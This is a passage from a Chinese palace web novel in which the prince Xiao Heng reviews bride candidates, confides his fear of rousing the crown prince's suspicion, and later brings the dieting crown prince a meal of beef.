“皇姐误会了,”萧恒正色道:“臣弟这些年来见过美人无数,但皇姐的容貌,始终在臣弟心中稳居第二。”
“第二?”长公主轻轻挑眉,唇角却含着笑意:“那第一是谁?”
“自然是母后啊,”萧恒转向皇后,神情认真无比。
皇后忍不住笑出声来,伸手轻点萧恒的额头:“就你会说话,专挑好听的来哄本宫开心。”
“儿臣说的可是实话,”萧恒朝长公主使了个眼色:“皇姐说是不是?”
长公主掩口笑道:“小弟说得极是,母后自然是天下第一美人。”
皇后看着一双儿女,眼角笑纹更深了几分:“你们两个呀……”
萧恒从侍立在一旁的三福手中接过一个精致的漆盒,打开来露出里面排列整齐的糕点。
“这是儿臣特意从宫外带来的,母后尝尝看,这家铺子的点心很是难得,尤其是这一款,每日限量售卖,不提早预定都买不到的。”
萧恒先取了一块递给皇后,又奉了一块给长公主。
皇后接过糕点,语气似是埋怨,眼底却满是欣慰:“下次直接来便是,怎么还带东西?莫非出宫几日,就跟母后生分了?”
“母后说哪里话,”萧恒急忙解释:“是前几日府里下人买了回来,儿臣尝着觉得特别好,这才想着今日带进宫来给母后尝尝鲜。”
长公主小口品尝着,忽然道:“这点心……与前几日你差人送到我府上的是一样的?”
“正是,”萧恒点头:“那日觉得好吃,就让人给皇姐也送了些。”
“原本想也给母后送一份,但想到从宫外送吃食进来要经过层层查验,母后素来不喜铺张浪费,怕徒增麻烦,索性就等今日亲自带来了。”
皇后闻言,眼中掠过一丝赞许:“恒儿真是长大了。”
皇后轻抚萧恒的手背:“宫里什么都不缺,不必费这些周章。”
“所以儿臣这不是亲自带来了么?”萧恒笑道。
宫规森严,外人外物入宫都要经过严格检查,尤其是进献皇后的食物更是要层层查验,但若是萧恒亲自带来,自然又另当别论。
萧恒含笑温声道:“宫中虽说万物俱备,什么都不缺,但终是样样都讲究规矩体统,反倒少了几分新鲜意趣。”
“儿臣虽无甚大才,但平日在外若瞧见什么有趣的小玩意儿,或是些宫外时兴的巧物。”
“便总想着带回来给母后瞧瞧,哪怕博母后一笑,也算尽了儿臣的一点孝心。”
皇后轻轻咬了一口糕点,颔首微笑:“有心了。”
“算你小子还有点良心,没有忘了母后,”长公主打趣了一声。
几人闲聊几句后,萧恒主动躬身问道:“不知母后今日召儿臣进宫所为何事?”
“瞧,和你姐弟俩说着话,心情是好了,倒险些将正事忘了。”
皇后说着,含笑握住萧恒的手,目光温软:“日子过得真快,在本宫记忆里,你还是个总跟在本宫身后,一声声喊着母后、母后的小不点呢。”
“还记得那回,你同你皇兄追逐打闹,自己追不上,摔了一跤,任谁都哄不好。”
“连本宫说话都不管用,最后还是你皇姐有办法,往你面前一站,两手叉腰,只说一句:“再哭,本公主就揍你,让你哭个够,你顿时就收了声。”
皇后轻拍萧恒的手背,眼中漾着慈爱,一旁的长公主也抿唇轻笑。
唯有萧恒耳根微红,低声嘟囔:“母
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后好端端的,提这些陈年旧事做什么……儿臣早已不是小孩子了。”
“是啊,”皇后轻叹,语气里漫上一丝感慨:“时光荏苒,从前那个小不点一转眼也长成大人,到了该娶妻的年纪了。”
“娶妻?”萧恒闻言微微一怔。
“今日母后特地唤你进宫,正是为了这事,”长公主在一旁笑着接话:“为了小弟的人生大事,母后这几日可谓操碎了心。”
“京都上下,凡与你年纪相仿的适婚女子,母后几乎都瞧了个遍。”
“连我都被抓来一起忙活,熬了好几个晚上——你瞧瞧我这眼圈,事后可得好好补偿我才是。”
“你这说的什么话,”皇后轻嗔:“这可是你弟弟的终身大事。”
“古语有云:家有贤妻,胜似良田万顷。”
“此次是为恒儿择选正妃,将来齐王府的女主人,你作姐姐的,不该好好替他斟酌把关么?”
“母后教训的是,是儿臣不懂事,”长公主立刻摆出一脸夸张的懊悔,屈身行礼,“儿臣定谨遵母后教诲,务必为小弟寻一位贤惠端庄的王妃。”
“这还差不多,看你认错态度良好,恕你无罪,”皇后端着脸配合长公主演。
萧恒不禁莞尔,这般母女嬉闹的场景他再熟悉不过。
表面一本正经,实则满是温情与玩笑。
“行了,恒儿还在这儿呢,别闹了。”
皇后恢复正色,轻瞪长公主一眼:“都是当娘的人了,还没个正形。”
长公主却挽住皇后的手臂,俏生生地扬起脸:“那又如何?儿臣就算再大,也永远是母后的女儿,在母后跟前就还是孩子!”
“你呀……”皇后无奈地笑了,抬手轻轻在长公主发上拂过,语气宠溺:“永远都长不大。”
随即,皇后转向侍立一旁的锦乐宫女官,颔首吩咐:“将东西呈上来吧。”
“诺。”
女官躬身应下,击掌传令。
早已候命的一列太监应声上前,每人手捧一幅卷轴。
于凉亭前整齐排开,静待示下。
第63章:有点不敢选啊
“展开,”女官的声音平稳无波,却自带一股不容置疑的威仪。
“哗——!”
立于最前方的五名太监应声而动,动作整齐划一地展开了手中的卷轴。
光滑的绢帛徐徐滑落,露出五幅工笔精细、栩栩如生的仕女画像,每一幅上的女子皆容色倾城,姿态各异。
几乎在画卷完全展开的同时,一名侍女双手捧着沉甸甸的木色托盘,悄步至皇后身侧。
托盘之上,五份泥金小册依照画像顺序一字排开,详录着画中女子的家世门第、性情才艺。
“如何,可有入眼的?”长公主眼波流转,先瞥了一眼萧恒,随即目光落回画卷上,唇角含笑道:“这些可都是母后千挑万选,才留下的佼佼者,论家世、品貌、才情,无一不是上上之选。”
皇后温和的声音随之响起,带着慈爱:“这是她们的身世册子,恒儿你先看看。”
“若有合眼缘的,便暂且记下,待全部看过,再从中择取最优。”
“儿臣遵命,”萧恒恭声应道,拿起册子快速浏览。
这五名女子的家世背景,萧恒迅速扫过心中已有数,目光再次掠过那些绝色容颜。
平心而论,这些能经过皇后和长公主双重法眼、呈到自己面前的女子,各方面条件自是**挑一,难分伯仲,无论选谁,都堪为王妃。
然而,萧恒只沉吟片刻,便微微摇了摇头。
并非萧恒眼界过高,萧恒自认并非不近女色的圣人,眼前诸女,容色家世皆属顶尖。
可正因如此,萧恒此刻心底反而生出重重顾虑。
容貌于权力场中,实是最不值钱的点缀。
关键在于她们背后所代表的煊赫家世——无一不是京都声名显赫的士族嫡女。
萧恒暗道:现在太子对自己的态度本就不明朗,若此刻娶了这样一位家世雄厚的正妃,是否会立刻引来太子猜忌?
这绝非自己所愿。
既已决意死保太子,萧恒便只需太子这一座最大的靠山。
欲求善终,便不能与其他权臣豪族有过多牵扯,唯有做太子的孤臣、纯臣,方为最稳妥之道。
“怎么?这五位竟无一能入你法眼?”见萧恒看完最后一册仍无表示,长公主不由挑眉打趣。
“眼光倒是顶高,依我看,这位叶姑娘就极好,”长公主纤指一点其中一幅画卷。
“此女乃镇军大将军叶立峰的嫡亲孙女,叶澜缨。”
“其父叶**是我大梁一员虎将,官拜撼岳营主将,掌数万精锐,两位叔父亦在军中担任要职。”
“更难得的是,叶家这一代仅得她一位千金,视若珍宝,爱如明珠。”
“京都城内,上门提亲的媒人几乎踏平了他家门槛。”
“这画像,”长公主轻笑:“至多描摹出她三分神韵,我见过**,品貌性情,都是极好的。”
长公主下嫁魏国公府,而魏国公府素为武将领袖,与同属武勋世家的叶家自是交好,言辞间不免多几分推许。
皇后亦颔首认同:“嗯,此女本宫也有所耳闻,家世品貌,与你也算相配。”
听着母后与皇姐交口称赞,萧恒心下唯有苦笑——这叶澜缨,正是他第一个在心中否决的人选。
缘由无他,正是其家世过于显赫。
若娶了她,萧恒只怕太子转头便要心生芥蒂,甚至……他不敢深想。
同时,萧恒心底亦掠过一丝疑惑。
以母后与皇姐对自己往日性情的了解,按理不应主动推荐这般背景的女子为正妃才是?
若依原主那不知收敛的性子,得此强援,岂非立刻生出与太子相争之心?
俗语云知子莫若母,此举着实透着蹊跷。
“咳……”萧恒只得干笑两声,含糊道:“皇姐说笑了……再看看,再看看。”
皇后深深看了萧恒一眼,未再多言,只抬手轻轻一挥。
第一排太监躬身退下,后面五名即刻上前,展开新一轮画卷。
流程依旧。
今日皇后精选出的女子共三十人,皆是年方十七八、尚未婚配的名门嫡女。
萧恒凝神静气,一份份册子仔细看过,一幅幅画像认真端详。
时间悄然流逝,不知不觉,一个时辰已过。
最后一名女子的
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画像也被太监恭敬撤下。
“整整三十位闺秀,竟无一人能让你点头?”
长公主难以置信地望着萧恒,语气中已带上一丝薄嗔:“这些可都是我与母后费尽心思甄选出来的,多数我都亲眼见过,确实都是万中无一的好女子。”
“也就是我身为女儿身,否则……”
“慎言,”皇后轻咳一声,微瞪了长公主一眼。
长公主自知失言,俏皮地吐了吐舌:“母后恕罪,儿臣只是被这小子气着了。”
“这么多人,他竟只挑出两个?”长公主的目光落在一旁桌上那两份孤零零的册子上,语气更是无奈。
“就这两人?”长公主拿起册子翻看,几乎气乐了。
“一个礼部郎中之女,一个归德中郎将之女……一位从四品,一位从五品。”
“这两位,原是我与母后看其家世清白,性子柔顺,想着若你瞧中了,纳入府中做个良媛、承微之类的倒也合适。”
大梁亲王妾侍品级繁复,除正妃外。
下设侧妃、庶妃、良娣、良媛、昭训、承微、美人、才人等诸多等级。
宝林、御女、常在、答应等更是不计其数。
其规制规模几与后宫相仿,只是名目稍异。
这些在册女眷皆需上报宗人府核准,一旦录入宗牒,便是名正言顺的皇室眷属,每月由内帑发放份例,供给月钱、用度。
然而,亲王后院员额虽有定制,但除了正妃、两名侧妃及四名庶妃这些核心名额外,其余妾侍品级,宗人府卡得极严。
奏折送至御前,皇帝看过多半会驳回。
若遇心情不佳,甚至可能下旨申饬,责令亲王节俭克己。
莫要奢靡无度——毕竟,这些开销最终都从皇帝的内帑支出,规模过大,皇帝也深感压力。
毕竟皇帝要养的人,也不少。
若是遇到一个抠搜的皇帝,连自己后宫妃嫔都不愿多增,只为节省的。
就更卡的严了。
当然你若自己有钱养活这些人,无须朝廷宗府拿钱,那就无所谓了。
只要不太过分,皇帝一般不会管你。
第65章:太子交心
“去东宫,”萧恒刚出皇宫,忽然开口调转了马头。
直径去了东宫寻太子爷去了。
太子爷依旧是雷打不动的政务繁忙,萧恒到东宫之后,又等了半个时辰,才见到忙碌的太子爷。
“臣弟参见太子,”该有的规矩,萧恒还是没有忘记的。
“怎么又缺钱了,”太子手中依旧握着一封折子,笑呵呵的看着萧恒:“我这里可没钱了啊。”
“怎么在皇兄眼里,臣弟就只会要钱不成?”
萧恒面露一丝不满。
随即开口说道:“今日找皇兄是要要事,询问皇兄。”
“要事?”太子眉头一挑,放下了手中折子:“什么要事,说来听听。”
“你们下去,”萧恒对殿内的内侍宫女吩咐道。
“都下去吧,”萧恒的话,东宫的人自然是不会听的,太子再次吩咐了一声之后,众人这才无声退去。
“皇兄,今日母后宣臣弟入宫,要为臣弟择妃了,皇姐也在。”
萧恒直接揍到了太子案前一脸神秘的说道。
“然后呢?”
太子表情淡然。
“就这事,”萧恒一脸认真道。
太子顿时一脸无语道:“我还以为多大的事呢,还要喝退左右。”
萧恒一脸严肃:“这不是重点。”
“臣弟主要是想问问皇兄你的意见,臣弟择妃该怎么选。”
太子笑道:“此事自有父皇与母后给你把关,你何须来问我。”
“再者这是给你贤妃,是你要过日子,你喜欢谁就选谁呗,选好了,让母后下到懿旨就行了。”
萧恒无奈出声:“事是这么个事,但能入母后眼的女子,一个个背景大的吓人啊。”
太子眯了眯眼,轻声笑道:“怎么这普天之下,还有谁人的背景大的过你?”
“臣弟不是这个意思,”萧恒摆手说道。
“就是……哎呀。”
“臣弟说实话吧,母后挑选出来的女子,有好几个,家室都不错,尤其是有个姓叶的女子。”
“简直没得说,要是能娶到,身价绝对翻倍。”
“但臣弟,怕若是娶了这等女子,会不会让皇兄你不高兴,误会什么?”
萧恒一咬牙索性一股脑的全部说了出来。
反正原著中太子是仁德之君,轻易不会遭杀戮。
而就自己这智商,也玩不过人家,有啥想法还不如直接摊牌,放在明面上来说。
这么做,虽然会显得自己很傻,但至少会很安全。
毕竟没谁会跟一个傻子过不去。
果不其然,萧恒这番话落到太子耳中,太子的表情那是相当的精彩。
下巴差地没有直接砸在地上。
“你……你说啥?”太子甚至一度怀疑上了自己的耳朵,自己是不是听错了。
既然已经说了出来,萧恒此刻也是异常的光棍了。
“反正意思呢就是这么个意思。”
“臣弟全告诉皇兄你了。”
“皇兄认为臣弟该娶谁做王妃,皇兄你吱一声,我立即就去给母后说,就她了。”
“反正都没见过,无所谓。”
萧恒说得很洒脱。
“砰……!”
“胡闹!”
太子在经过一开始的愣神,之后表情忽然浮现一股怒意。
一巴掌拍在了桌案上。
这一巴掌吓得萧恒一激灵。
“怎么了,皇兄,”赶忙问道。
太子直勾勾的盯着萧恒,一副试图将萧恒看穿。
萧恒则是瞪着一双清澈的大眼睛看着太子。
“呼……!”
太子显然是要说什么的,但面对萧恒这一双清澈的大眼睛,显然是败下阵来了。
半响之后长舒了一口气,对萧恒开口道:“萧恒你这脑袋,是不是上次救我的时候,让此刻给毒傻了。”
“怎么感觉不像你了呢。”
“有……有吗?”萧恒心中猛地一惊,被发现了。
“确实有点傻,”太子叹息一声,一脸认真道:“回头让卢院使,好好给你瞧瞧。”
“皇兄别闹,臣弟是认真的,”萧恒一脸严肃。
太子看了萧恒一眼,面色平静。
“母后都还给你挑选了那些适婚女子。”
“都在这呢,”萧恒将一堆册子放到了太子的案桌上。
这些册子是从锦乐宫离开时,皇后让萧恒带走的。
让萧恒带回去,好生考量考量,该选谁。
太子拿起册子一一看了一眼。
“砰,”
随即随意丢了一本出来,面色平静道:“就她了,合适。”
萧恒拿起一看。
正是叶澜缨的册子。
萧恒抬头看向太子,目光透着一丝不解。
至于是装的,还是真的就不得为之了。
“怎么看不上啊?”太子面色平静道。
“这倒不是,此女臣弟看了画像,还是挺美的,”萧恒笑了笑。
太子靠在椅子上:“你当着母后的面选的是谁?”
“这两个,”萧恒将自己在锦乐宫挑选出来的那两名女子挑了出来。
太子都没接过,直接翻了一个白眼:“你是不是傻。”
“一个从四品,一个从五品的女儿,这样的存才,在这京都城,随便一块牌匾掉下来,砸死三,其中一个可能都比这官大。”
“你选这等毫无根基的女子,做你的王
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妃,母后他们会同意?”
“在这就算同意了,对你也没好处。”
萧恒一脸认真道:“臣弟的志向就一闲散王爷,选个王妃需要什么好处。”
“臣弟又不需要,依靠王妃的母族来争取什么。”
“再者,”萧恒笑道:“臣弟最大的靠山可是皇兄你啊。”
“等日后皇兄你当了皇帝,臣弟选什么样的世家女子做王妃,依托能超过皇兄你。”
“就算臣弟选择一个路边的乞丐当王妃,以后只要皇兄你在,臣弟照样能在大梁地界横着走。”
“得了吧,横着走的那是螃蟹,”太子白了萧恒一眼。
靠在椅子上,抱着双手。
“贫嘴的话,就别说了。”
“今天这儿就咱们哥俩,也没外人。”
“咱哥俩说点掏心子窝子的话。”
萧恒一听立即站了起来,一脸严肃道:“皇兄你说。”
太子抬手压了压,今儿没有君臣,就咱哥俩,不要弄严肃了。
“好呢,”萧恒一听直接席地而坐,怎么随便怎么来。
太子嘴角微微一抽,不过并未说什么。
反而从椅子上站了起来。
萧恒见状也站了起来。
“不用你就这样坐着,”太子说道,绕过案桌,在萧恒身旁也坐了下去。
一大梁太子,一大梁王爷。
俩大梁地位尊贵无比的存在,就这样毫无形象的坐在了地上。
“来来往这边靠靠,没啥靠着,感觉不得劲,”太子朝萧恒说道。
萧恒挪动身子,两人挨在了一起。
“老九啊,你今天和我说这些,是不是就怕,你若真娶了叶嫁的女子为正妃。”
“怕我猜疑你,如何对付你。”
“所以这才选了一个没啥家庭背景的,做王妃,让我好安心。”
“嗯,”萧恒没有丝毫迟疑,果断点了点头。
“老子都不用脑袋,用屁股想,都知道你小子是这样想的。”
“哎,”随后太子便叹息了一声:“其实你大可不必。”
“你我生在皇家,有些东西注定不是自己能决定的。”
“皇家无小事,即便是芝麻绿豆的事,都会被无限放大。”
“你近段时间的很多做法,我都看在眼里的,看似很荒谬,实则都在朝我释放一个相同的信号。”
太子说着,萧恒听着,一句话没说。
太子继续道:“还是那句话,这没外人,就咱哥俩在,有些话就不用藏着掖着了。”
“咱们这么多兄弟,就你和我是母后所出,所以我对你比对谁都亲。”
“所以你完全没必要在我面前这般小心翼翼。”
第66章:吴先生
太子轻叹一声,一手搭在萧恒肩膀上。
语气里带着几分不易察觉的试探与真切:“你我是嫡亲的兄弟,每日见你在我面前这般谨小慎微,我这做哥哥的……心里并非滋味。”
太子抬眸,目光平静地看向殿外,声音低沉了几分:“其实,天家之事,看似云谲波诡,说穿了,无非是众人围着一方权柄,争得你死我活罢了。”
“正如你那日所言,这位子,实在是个苦差事。”
太子嘴角泛起一丝自嘲的苦笑:“你看看父皇,再看看我。”
“天不亮便要起身理事,直至深夜不得安歇。”
“有时我真想不通,这有何可争?这若真挣来了,岂不是自寻烦恼?”
萧恒恰到好处地接话,脸上堆起诚恳的敬佩:“皇兄此言差矣,正因父皇与您皆是心系天下的明君。”
“宵衣旰食,才会觉得劳累。”
“若换个只愿春宵苦短日高起的昏聩之主,日子自然逍遥快活——只需穷奢极欲,将政务抛之脑后便可。”
“只不过,那般下去,祖宗基业怕是迟早要败光的。”
“啧。”太子闻言,抬手不轻不重地在萧恒后脑勺上拍了一下,笑骂道:“你这张嘴,真是越发没个把门的了,什么话都敢往外溜,须知祸从口出。”
太子收回手,整了整衣袖,又道:“还有,莫要妄言。”
“明君是父皇,我嘛……不过是个费力不讨好的打工人,动辄还要被父皇训斥得抬不起头。”
“父皇还会训斥皇兄?”萧恒适时地露出恰到好处的惊讶。
无论是原著的记载,还是萧恒现今的观察,太子在梁帝心中都堪称完美储君,
当然除了……体型稍显富态,为此梁帝没少督促太子减肥,只是太子长长阳奉阴违罢了。
“怎么不会?”太子没好气地横了萧恒一眼:“父皇的脾气你还不清楚?”
“一旦动怒,训上两个时辰都不带重样的,最高纪录,足足骂了我一整天。”
“这么惨?”萧恒满脸惊讶之色。
“这就惨了,参的还在后面呢,”太子嗤笑一声。
带着几分荒谬的语气:“挨骂了一天不说,事后父皇还道,全是因教导我而耽误了政务,所以这耽搁的功夫自然该由我补上。”
“于是,父皇便将当日积压的奏本全数推给了我,自己则回后宫安寝去了。”
“我是既要处理东宫的事务,又要批阅父皇那份,连同新送来的也不能落下……”
太子摇头唏嘘:“那一次,我足足熬了两天两夜,才将案头清理干净,险些没累晕过去。”
萧恒脸上立刻堆满同情:“光是听着,臣弟便已头大如斗。”
“还是如今这般日子惬意,晒晒太阳,逗逗池鱼,做些自己喜欢的小玩意儿,一日光阴倏忽便过。”
“若让臣弟去过皇兄那样的日子,只怕早就想不开去跳崖了。”
萧恒本想说**,但转念一想,这时代楼阁不高,便改成了跳崖。
“没出息的东西,”太子笑骂一句,随即眼神微动,掠过一丝意味深长。
“不过,你的好日子,怕是也快到头了。”
“皇兄何出此言?”萧恒心头一跳。
“你身为嫡子,母后是中宫之主,身份摆在这里。”
“你以为,父皇真会容你一直这般逍遥自在?”
太子慢条斯理地道:“眼下不过因你刚开府不久,加之此前为救我而负伤,特许你静养些时日。”
“等着吧,用不了多久,差事必定会落到你头上。”
“别啊!”
萧恒顿时垮下脸来,哀声道:“这般神仙日子,岂不美哉?”
“皇兄您行行好,就当养个闲人,让臣弟继续躲懒不成么?”
“我大梁人才济济,多臣弟一个不多,少臣弟一个不少。”
“嗯,”太子点头,揶揄道:“确是缺个专司吃喝玩乐的纨绔王爷。”
“知臣弟者,皇兄也,”萧恒抚掌,面露喜色。
“想得倒美,”太子笑斥,话锋陡然一转:“你当我不想躲懒?”
“还不是得每日埋首案牍,片刻不得清闲。”
“认命吧,皇家从无真正的闲人。”
说罢,太子站起身,拍了拍萧恒的肩膀,神色转为肃然:“你的王妃人选,便暂定叶家女
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子。”
“得空我会去与母后商议,亦会探探父皇的口风,老九,有些界限,不是你想退,便能退的。”
太子目光深邃,语重心长:“叶家在军中的威望,你当知晓。”
“无论于公于私,这门婚事都利大于弊,有些东西,攥在自己人手里,总比落入他人囊中要稳妥。”
萧恒沉默片刻,终是收敛了嬉笑之色,郑重颔首:“臣弟明白了,一切……但凭皇兄安排。”
“嗯,去吧。”太子满意地点头,“我这里还有一堆奏章要批阅。”
“臣弟告退,”见太子下了逐客令,萧恒起身行礼,躬身退出了明德殿。
殿门轻合,偌大的宫殿只剩下太子一人,寂静中唯有烛火噼啪轻响。
片刻,一阵几不可闻的脚步声自屏风后传来。
“吴先生。”
太子并未抬头,只淡淡唤了一声。
一道瘦削的黑色身影悄然出现,正是太子心腹谋士吴先生。
其人面容清瘦,一双眼睛却沉静如水,透着一股算计与洞察。
“对于孤这位九弟今日的言行,先生如何看?”太子指尖轻叩桌面,语气平淡无波。
吴先生沉吟良久,缓缓摇头:“看不透,猜不明。”
太子轻笑:“这世上,竟还有先生看不透的人?”
吴先生微微躬身:“殿下谬赞,天下能人异士辈出,吴某不过多读了几卷书,多行了几里路罢了。”
“未曾读过的书,未曾走过的路,未曾见过的人事,又何其之多?看不透,实属平常。”
“先生过谦了,”太子指尖停顿,抬眼望去,目光锐利:“那么以先生之见,一个人的心性,当真能在短时间内判若两人吗?”
“天下之大,无奇不有,”吴先生谨慎答道:“总有个例,超乎常理。”
“所以,先生倾向于相信他是真的性情大变?”太子追问。
吴先生沉默片刻,方才肃然开口:“臣不敢妄断。”
“只能说……若这一切皆是伪装,那齐王殿下之心机城府,可谓深不可测。”
“未来,必是殿下之大敌。”
“反之……”
第67章:老九你好像真的很闲
从东宫出来时,萧恒步履轻快,眉宇间难得透出几分松快。
今日与太子的这场谈话,虽仍是以试探为主,可太子流露出的态度终究是善意的。
这在萧恒看来,已是足够了。
只要自己日后行事依旧谨慎,不再像从前那般不知死活地触碰东宫的忌讳。
想来,最终的结局总不至于落得如书中那般凄惨的下场。
皇子择选正妃,仪程繁琐,牵扯甚多。
此番皇后召萧恒入宫,无非是让萧恒从自己与长公主圈定的几人里,点一个合眼缘的。
若萧恒识趣,选中了皇后属意之人,自是皆大欢喜,全了彼此体面。
但若像今日这般,萧恒的选择未能令皇后满意。
那萧恒的最终意愿也便无足轻重了——皇后自会径直下旨钦定。
这世道,儿女姻缘本就如棋局,何来情愿二字?
何况天家子弟,婚姻更是国事家事一体,最终拍板定案的,终究是梁帝与皇后。
故而那日之后,萧恒便将选妃之事抛在了脑后。
既知结果非自己能左右,多思无益,何必再去纠结呢。
太子既已暗示,十有**便是那位叶家女子叶澜缨了。
再看当日皇后与长公主的神色,对此结果似乎也并无异议。
正因如此,当日萧恒才特意绕道去了趟东宫,提前与太子透个底。
有些事,说开了便不是事,若闷着不说,反倒容易生出不必要的嫌隙。
……
“老九啊,你好像真的很闲啊?”
太子从堆积如山的奏折后抬起头,揉了揉发胀的眉心,没好气地瞪向不知何时又溜达进东宫的萧恒。
“你要真的很闲,要不你来东宫,帮孤处理一下政务?”
太子抬手指了指身前案几上两摞半人高的奏章,语气里带着明晃晃的酸意和疲惫。
萧恒立刻后退半步,脸上堆满恰到好处的惶恐,连连摆手:“皇兄明鉴,臣弟何等身份,岂敢与皇兄一般妄议国事?此乃大忌,是大罪过啊。”
萧恒表情夸张,仿佛太子递过来的不是奏章,而是烫手山芋:“臣弟与皇兄近日无冤往日无仇,皇兄为何要如此……加害于臣弟?”
“滚!”太子被萧恒这做作的模样气得笑骂一声,顺手抄起手边一封不太紧要的折子就丢了过去。
萧恒灵巧地侧身躲过,弯腰捡起折子,嬉皮笑脸地放回案上:“皇兄息怒,砸坏了臣弟不打紧,可别累着您的手。”
“以后没事少来孤面前晃悠,看见你就心烦!”
太子重重叹了口气,语气里是货真价实的郁闷。
也难怪,太子每日在此批阅奏章到深夜,累得眼冒金星。
而眼前这个九弟,却整日优哉游哉,简直闲得要冒出泡来,对比之下,内心不郁闷?
“皇兄这话,可真真是伤透臣弟的心了。”
萧恒闻言,脸上戏谑之色一收,变戏法似的从身后提出一个精致的食盒。
做出一副心灰意冷、欲要转身离开的模样,语调悲凉。
“罢了,罢了,终究是岁月流转,兄弟情谊淡了……臣弟原是想着皇兄日理万机,过于辛劳,特意寻了个手艺顶尖的厨子,备下这点美酒佳肴前来探望。”
“万万没想到,皇兄竟如此厌弃弟弟,面露凶相,屡次驱赶……哎,既然如此,弟弟这就走,以后……不来叨扰皇兄便是。”
“咻——!”
又是一本奏折破空飞来,力道比刚才那本更足。
太子额角青筋微跳,面色黑沉:“给孤好好说话,从哪儿学来的这股子歪风邪气,阴阳怪气。”
“哈哈哈!”
萧恒再次轻松躲过,瞬间恢复了平常那副散漫不羁的神态,提着食盒凑到案前,一边利落地打开盒盖,一边笑道。
“臣弟这不就是看皇兄眉宇紧锁,想逗您一乐,舒解下心情麻。”
“皇兄快瞧瞧,这新厨子的手艺,当真了得,这几道小菜,味道堪称一绝。”
萧恒边说边将几碟色香味俱全的菜肴摆上桌,语气带着几分讨好。
“臣弟听闻,近来皇嫂对您的饮食管控是越发严苛了,特意吩咐厨子做了这些,给皇兄打打牙祭。”
太子瞥了一眼那诱人的菜肴,喉结不自觉地滚动了一下,随即瞪向萧恒。
没好气道:“少在这儿充好人,孤为何会被你嫂子管着吃喝,你心里没数?”
萧恒脸上闪过一丝尴尬,摸了摸鼻子,这事,还真怨他。
就是上次萧恒进宫,教了太子那套所谓的健身操。
没想到太子妃严格执行,日日监督太子晨起操练,起初太子做上三组就已
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大汗淋漓、瘫软如泥。
坚持一段时间下来,竟已能一口气完成七组以上,脸色也红润了不少,上秤一称,体重更是每日刷刷地往下掉,少则一斤,多则两斤。
太子妃多年心愿得见曙光,欣喜之余,对太子的饮食监控自然变本加厉,恨不得按克计算。
这可苦了太子,每日饥肠辘辘,心中早已将萧恒埋怨了千百遍,尤其是在累死累活做操时,更是腹诽不止。
相比之下,太子妃对萧恒倒是和颜悦色,还时常差人送些新奇玩意儿到齐王府。
萧恒也投桃报李,每次进宫都不空手。
“咳,这个……过程是辛苦了点,但皇兄您看,效果不是顶好吗?”
萧恒迅速收敛尴尬,换上一副邀功的嘴脸。
“您是不是觉着,身子骨比以往轻快多了,精神头也足了?”
“这倒是不假,”太子叹了口气,语气缓和了些。
“你教的那套操,虽折腾人,但确实有用。”
“起初那阵子,体重掉得飞快,一日能轻二斤。”
“就是近来……不知怎的,掉得不那么利索了,你嫂子便疑心我偷嘴,我真是……冤比窦娥啊。”
太子一拍大腿,满脸委屈:“老九你说说,眼看胜利在望,我岂会前功尽弃?那些苦都白吃了不成?我又不傻!”
看着太子爷难得地吐露心声,萧恒忍不住笑出声来。
“孤都这般惨状了,你还笑?”太子顿时不满:“到底是不是亲兄弟?”
“皇兄莫怪,臣弟这是为您高兴啊。”
萧恒连忙解释:“开始不掉秤了是好事,这说明您到了瓶颈期,之前掉的多是水分,现在才是真正开始减脂瘦身的时候。”
“虽然慢,但每减一分,都是实打实的筋肉。”
“皇兄您说,这是不是意味着苦尽甘来?”
“臣弟为您开心,笑一笑有何不可?”
“果真如此?”太子将信将疑。
“千真万确,臣弟敢以人格担保,”萧恒拍着胸脯保证。
“那好!”
太子眉头舒展,脸上顿时阴转晴,甚至带上了点小得意。
“回头你可得去跟你嫂子分说明白。”
“省得她总冤枉我。”
“我就说嘛,孤堂堂大梁储君,岂是那等管不住口腹之欲之人?”
第68章:吃了啊,那咱们商量个事
“那是……那是,”萧恒点头附和。
“一会我就去给嫂子解释去。”
“咱们先吃菜,不然一会凉了,”萧恒从食盒中取出筷子,递给了太子。
太子伸手接过筷子,视线落到眼前的菜肴上。
“那我可就不客气了,”太子面对食物,眼都亮了。
“吃吃吃,本就是为皇兄准备的,”萧恒点头道。
“咦,这口感?”太子夹起一块肉类送入口中。
脸上一开始面对食物的喜色顿时消散了不少,取而代之的是轻微皱眉。
“咋了?”萧恒见状出声问道:“不好吃?”
“不应该啊,这些菜可都是臣弟亲自改良过的,试过味道都不错,才命人做了送进来的。”
“这是牛肉?”太子出声质问道。
“哦,皇兄这般表情,臣弟还当时味道不好呢,吓我一跳。”
“皇兄就尽管将心放进肚中,大梁的律法臣弟也是自幼熟读的。”
“岂敢随意宰杀耕牛,这是前几日城外两家农户的牛,在山上放牧时。”
“也不知是咋了,突然就顶牛起来了,一方打不赢,扭头就跑,另一头牛估计是打红了眼,跟在后面撒丫子狂追,最后一追一逃,两牛都没有捞到好。”
“一同从悬崖下掉了下去,当场就没了气息。”
“府中采购听闻之后,便顺道买了一点。”
“臣弟想着皇兄你最近不是正好在减肥吗,牛肉可是减肥人的必备良药,哪怕酷酷炫,一天吃八顿,都不会长肉。”
“便给皇兄送来了。”
大梁,耕牛被视为农之本,所以凡是大梁的牛,无论是官家的,还是百姓饲养的,每一头都必须在官府登记造册。
私人允许买卖耕牛进行饲养,只需要到衙门报备一下就行,官府大力鼓励百姓养牛。
甚至你若买牛的钱不够,官府还能借你银子去买。
但有一点,不能私**牛。
即便是自己饲养的也不行,没有官府的批文,便私**牛,按大梁律,一律重罪。
**。
所以按照大梁律法,估计大明朝都出不来。
因为朱重八杀地主老财的牛给兄弟吃的时候,就废了。
别说开局一个碗了,连当和尚的机会都没有。
“当真?”太子面色带着一丝质疑。
“嘿,”萧恒顿时面露不满之色:“这玩意又不是吃了会长生不老,我至于为了这二两肉弄虚作假吗?”
“关键还做熟了,送到皇兄你的面前,若是有问题,我这么干?”
“我二百五啊?”
太子闻言微皱的眉头这才舒展开来。
笑呵呵的开始吃肉。
“你府上买了多少牛肉,一会你差人送个十斤八斤到东宫来。”
“嘿,骂人的是你,要的也是你,感情好人坏人全是你一人呗,”萧恒直接乐了。
太子闻言理直气壮道:“孤是何人?”
“大梁太子储君,民间宰杀耕牛一事,屡禁不止,孤问问怎么了?”
“怎么你有意见啊?”太子眯眼看向萧恒。
“不敢不敢,太子说得极是,”萧恒一本正经道:“太子乃储君,心系天下百姓,自然是应该的。”
“嗯,孺子可教也,”太子非常满意地点了点头。
继续吃肉。
“这虾肉质也不错,也一同送点进来,”太子吃了一只白灼大虾,继续说道。
“送送送,”萧恒翻着白眼一个劲地点头。
“这个也不错……!”
